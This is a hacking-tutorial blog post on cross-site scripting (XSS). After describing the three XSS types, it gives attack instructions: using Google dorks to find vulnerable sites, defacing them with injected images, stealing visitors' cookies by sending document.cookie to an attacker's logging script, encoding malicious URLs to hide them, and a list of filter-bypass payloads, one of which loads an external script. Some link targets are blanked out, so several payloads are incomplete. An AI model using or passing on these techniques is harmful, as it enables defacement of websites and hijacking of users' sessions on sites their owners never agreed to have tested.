Showing posts with label Cross Site Scripting (XSS). Show all posts

Cross Site Scripting (XSS)

XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply "phishing" on falls users.

This technique is also used for website Hacking.

Types of XSS

There are actually three types of Cross-Site Scripting, commonly named as:

- DOM-Based XSS
- Non-persistent XSS
- Persistent XSS

DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.

The DOM-Based XSS exploits these problems on users local machines in this way:

- The attacker creates a well builded malicious website

- The ingenuous user opens that site

- The user has a vulnerable page on his machine

- The attacker's website sends commands to the vulnerable HTML page

- The vulnerable local page execute that commands with the user's privileges

on that machine.

- The attacker easily gain control on the victim computer.

Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website

is vulnerable, the result page will return the result of these HTML entities.

Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to

provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses

that kind of tool to leave messages to the owned

of the website and at a first look it doesn't seems something dangerous, but if an

attacker discover that the system is vulnerable can insert some malicious code in his

message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any

check on the content of the inserted message: it just inserts the data provided from

the user into the result page.

How to Find XSS Vulnerabilities:-
To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.
Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto and type inurl:"search.php?q=" now that is a common page and has alot
of results. Also note that most sites have XSS Vulnerabilities, its just having a good
eye, and some good knowledge on how to bypass there filteration.

Basics of XSS
Well now lets start learning some Actual Methods, the most common used XSS injection is :

now this will alert a popup message, saying "vikas" without quotes.
So,use "search.php?q=" and you can simple try the following on a website with the
same thing,<script>alert("Vikas")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :<br><br><b><u>Vikas</u></b>
if you see the bold text on the page and newlines then you knows its vulnerable.

How to Deface a Website using XSS ?

Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR

is a tag, that displays the IMAGE linked to it on the webpage.
<html><body><IMG SRC=""></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.
<IMG SRC="">
The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another
method is using FLASH videos, its the same has the method below but a more stylish deface.
That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script> "" )</script>
There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)
How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here:
How To Make A Cookie Stealer Php script ?
ok now you have it save it has a .php file and upload to your server, remember to
create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do.
ok now your gonna want to insert this code.
window.location = ""+document.cookie
document.location = ""+document.cookie
now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D
but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code = ""+document.cookie
How to Bypass Filtration ?
Alot of sites may seem vulnerable but not executing the code, well to solve this read
this. Some common methods to bypass filtration is
that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.
You can also try hexing or base64 encoding your data before you submit, Please note
its bad practice to use alert("XSS") to test for XSS, because some sites block the
keyword "XSS" before so we using "Priyanshu".
Some other ways to bypass filtration"><script>alert('Priyanshu')</script>"><script>alert("Priyanshu")</script>"><script>alert("Priyanshu");</script>"><script>alert(/Priyanshu");</script>"><script>alert(/Priyanshu/);</script><script>alert(/Priyanshu/);</script>"><script>alert(/Priyanshu/);</script>"></script><script>alert(/Priyanshu/);</script>"><script></script><script>alert(Priyanshu);</script></script><script>alert(/Priyanshu/);</script><script>"></script>alert(/Priyanshu/);</script>"><img src='javascript:alert('Priyanshu');'>"><script src='http://virus.js'</script>

Advanced XSS - way to bypass magic quotes filtration:
Ok now we are going to learn about some good techniqes. I have came across many
sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here

This will help you write what you want, In my examples ill be writing "HOC" this is the following code
72 79 67
Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.
is suitable for this kinda things, its easy to setup, im gona give it my args below.
String.fromCharCode(72, 79, 67)
Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC".
And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.
<script>alert(String.fromCharCode(72, 79, 67))</script>
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